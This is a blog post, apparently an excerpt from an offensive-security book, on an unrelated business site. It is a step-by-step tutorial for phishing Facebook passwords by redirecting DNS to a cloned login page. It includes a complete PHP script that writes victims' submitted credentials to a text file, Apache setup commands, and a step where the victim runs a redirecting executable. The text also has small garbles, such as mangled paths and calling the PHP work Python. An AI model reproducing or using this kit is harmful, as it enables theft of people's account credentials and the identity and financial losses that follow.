Skip to content
Old Moon Deliandpie

Old Moon Deliandpie

Smart Business Solutions

Primary Menu Old Moon Deliandpie

Old Moon Deliandpie

  • foreign exchange
  • News marketing
  • business ideas
  • News Business
  • General
  • Packaging
  • About Us
    • Advertise Here
    • Contact Us
    • Privacy Policy
    • Sitemap
  • Home
  • Facebook password phishing with DNS manipulation [Tutorial]
  • traffic finance

Facebook password phishing with DNS manipulation [Tutorial]

Tanya J. Montague April 25, 2022

Table of Contents

Toggle
  • Facebook password phishing
    • Read Next:

Password Phishing can result in huge loss of identity and user’s confidential details. This could result in financial losses for users and can also prevent them from accessing their own accounts.

In this article,  we will see how an attacker can take advantage of manipulating the DNS record for Facebook, redirect traffic to the phishing page, and grab the account password.

Facebook password phishing

Here, we will see how an attacker can take advantage of manipulating the DNS record for Facebook, redirect traffic to the phishing page, and grab the account password.

First, we need to set up a phishing page.

You need not be an expert in web programming. You can easily Google the steps for preparing a phishing account.

  1. To create a phishing page, first open your browser and navigate to the Facebook login page. Then, on the browser menu, click on File and then on Save page as…. Then, make sure that you choose a complete page from the drop-down menu.
  2. The output should be an .html file.
  3. Now let’s extract some data here. Open the Phishing folder from the code files provided with this book. Rename the Facebook HTML page index.html.
  4. Inside this HTML, we have to change the login form. If you search for action=, you will see it. Here, we change the login form to redirect the request into a custom PHP page called login.php. Also, we have to change the request method to GET instead of POST.
  5. You will see that I have added a login.php page in the same Phishing directory. If you open the file, you will find the following script:
<?php
header("Location: http://www.facebook.com/home.php? ");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) 
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");

fwrite($handle, "rn");
fclose($handle);
exit;
?>

As soon as our target clicks on the Log In button, we will send the data as a GET request to this login.php and we will store the submitted data in our passwords.txt file; then, we will close it.

  1. Next, we will create the passwords.txt file, where the target credentials will be stored.
  2. Now, we will copy all of these files into varwww and start the Apache services.
  3. If we open the index.html page locally, we will see that this is the phishing page that the target will see.

Let’s recap really quickly what will happen when the target clicks on the Log In button? As soon as our target clicks on the Log In button, the target’s credentials will be sent as GET requests to login.php. Remember that this will happen because we have modified the action parameter to send the credentials to login.php. After that, the login.php will eventually store the data into the passwords.txt file.

Now, before we start the Apache services, let me make sure that we get an IP address.

  1. Enter the following command:
ifconfig eth0

You can see that we are running on 10.10.10.100 and we will also start the Apache service using:

service apache2 start
  1. Let’s verify that we are listening on port 80, and the service that is listening is Apache:
netstat -antp | grep "80"

Now, let’s jump to the target side for a second.

In our previous section, we have used google.jo in our script. Here, we have already modified our previous script to redirect the Facebook traffic to our attacker machine. So, all our target has to do is double-click on the EXE file. Now, to verify:

  1. Let us start Wireshark and then start the capture.
  2. We will filter on the attacker IP, which is 10.10.10.100:
Wireshark
  1. Open the browser and navigate to https://www.facebook.com/:
Wireshark

Once we do this, we’re taken to the phishing page instead. Here, you will see the destination IP, which is the Kali IP address. So, on the target side, once we are viewing or hitting https://www.facebook.com/, we are basically viewing index.html, which is set up on the Kali machine. Once the victim clicks on the login page, we will send the data as a GET request to login.php, and we will store it into passwords.txt, which is currently empty.

  1. Now, log into your Facebook account using your username and password. and jump on the Kali side and see if we get anything on the passwords.txt file. You can see it is still empty. This is because, by default, we have no permission to write data. Now, to fix this, we will give all files full privilege, that is, to read, write, and execute:
chmod -R 777 /var/www/

Note that we made this, since we are running in a VirtualBox environment. If you have a web server exposed to the public, it’s bad practice to give full permission to all of your files due to privilege escalation attacks, as an attacker may upload a malicious file or manipulate the files and then browse to the file location to execute a command on his own.

  1. Now, after giving the permission, we will stop and start the Apache server just in case:
service apache2 stop
service apache2 start
  1. After doing this modification, go to the target machine and try to log into Facebook one more time. Then, go to Kali and click on passwords.txt. You will see the submitted data from the target side, and we can see the username and the password.

In the end, a good sign for a phishing activity is missing the https sign.

We performed the password phishing process using Python. If you have enjoyed reading this excerpt, do check out ‘Python For Offensive PenTest‘ to learn how to protect yourself and secure your account from these attacks and code your own scripts and master ethical hacking from scratch.

Read Next:

Post navigation

Previous: Gunville housing plan back again as traffic issues changed
Next: Four Steps To Turn Ideas Into Successful Companies

More Stories

Revolutionizing Wealth: How Smart Financial Traffic Can Drive Your Success
  • traffic finance

Revolutionizing Wealth: How Smart Financial Traffic Can Drive Your Success

Tanya J. Montague September 4, 2026
Revolutionizing Traffic Finance: How Smart Money Moves on the Roads
  • traffic finance

Revolutionizing Traffic Finance: How Smart Money Moves on the Roads

Tanya J. Montague September 2, 2026
How Daily Remittances Work on a Merchant Cash Advance
  • traffic finance

How Daily Remittances Work on a Merchant Cash Advance

Tanya J. Montague September 2, 2026
September 2026
M T W T F S S
 123456
78910111213
14151617181920
21222324252627
282930  
« Aug    

Archives

  • September 2026
  • August 2026
  • May 2026
  • January 2026
  • December 2025
  • November 2025
  • October 2025
  • September 2025
  • August 2025
  • July 2025
  • June 2025
  • May 2025
  • April 2025
  • March 2025
  • January 2025
  • December 2024
  • November 2024
  • October 2024
  • September 2024
  • July 2024
  • June 2024
  • May 2024
  • April 2024
  • March 2024
  • February 2024
  • January 2024
  • December 2023
  • November 2023
  • October 2023
  • September 2023
  • August 2023
  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • August 2022
  • July 2022
  • June 2022
  • May 2022
  • April 2022
  • March 2022
  • January 2022
  • November 2021
  • October 2021
  • September 2021
  • August 2021
  • July 2021
  • June 2021
  • May 2021
  • April 2021
  • March 2021
  • February 2021
  • January 2021
  • December 2020
  • November 2018
  • January 2017

Categories

  • business ideas
  • foreign exchange
  • General
  • Lifestyle
  • News Business
  • News marketing
  • Packaging
  • traffic finance
  • Transfer News

Recent Posts

  • Unlocking the Secrets of the Transfer Market: How Clubs and Players Shape the Game
  • The Transfer Market Gold Rush: How Smart Clubs Turn Deadwood into Diamonds
  • Revolutionizing Wealth: How Smart Financial Traffic Can Drive Your Success
  • Unlock the Future: How Digital Marketing is Reshaping Business Success in 2024
  • Unveiling the Pulse: Navigating the Market’s Highs, Lows, and Hidden Gems

Fiverr

Fiverr Logo   

BL

Tags

"Business Insurance Cover Coronavirus 5e Business Profit Ahron Levy Columbia Business School Att Business Login Business Business Consultant Certification Austin Business Letter With Logo Example Business Located Easy Location Business Platform Stocks Business Positions Seattle Business Regulation Legal Services Daystarr For Business Dimagi Business Development Toolkit Do Business Schools Accept Entreprenuers Enironmentall Friendly Business Ideas Eric Early Republican Business Owner Essec Business School Dean Essential Business To Remain Open Example Small Business Fall Winter Business Hours Template Fdot Woman Owned Business Certification First Business Women United States First Com Business Fixing A Damaged Reputation Business Florida Business Enforcement Free Small Business Communication Tool Law School Business Entity Outlines Mapping A Business Location Medical Business Trends Economics Mix Business And Personal Money Mlm Nit Small Business Legally New Business Agency Sales Questions Patricia Saiki Women'S Business 1990 Safety Business Proposal Sample Business Plan Entrepreneur School Business Administration Positions S Corp Business Deductions Search Tx Business Llc Sentextsolutions Business Cards Signs For Business On Roads Skype For Business Recording Capacity" Small Business Forums .Net Small Business Insurancr Tech Monkey Business Ttu Business Cards Template

PHP 2026

fundfairies
piccolo-rosso

NEW BR

webmarketly
powerasana

You may have missed

Unlocking the Secrets of the Transfer Market: How Clubs and Players Shape the Game
  • Transfer News

Unlocking the Secrets of the Transfer Market: How Clubs and Players Shape the Game

Tanya J. Montague September 4, 2026
The Transfer Market Gold Rush: How Smart Clubs Turn Deadwood into Diamonds
  • Transfer News

The Transfer Market Gold Rush: How Smart Clubs Turn Deadwood into Diamonds

Tanya J. Montague September 4, 2026
Revolutionizing Wealth: How Smart Financial Traffic Can Drive Your Success
  • traffic finance

Revolutionizing Wealth: How Smart Financial Traffic Can Drive Your Success

Tanya J. Montague September 4, 2026
Unlock the Future: How Digital Marketing is Reshaping Business Success in 2024
  • News marketing

Unlock the Future: How Digital Marketing is Reshaping Business Success in 2024

Tanya J. Montague September 4, 2026
Unveiling the Pulse: Navigating the Market's Highs, Lows, and Hidden Gems
  • News Business

Unveiling the Pulse: Navigating the Market’s Highs, Lows, and Hidden Gems

Tanya J. Montague September 4, 2026
Copyright © All rights reserved. | CoverNews by AF themes.

WhatsApp us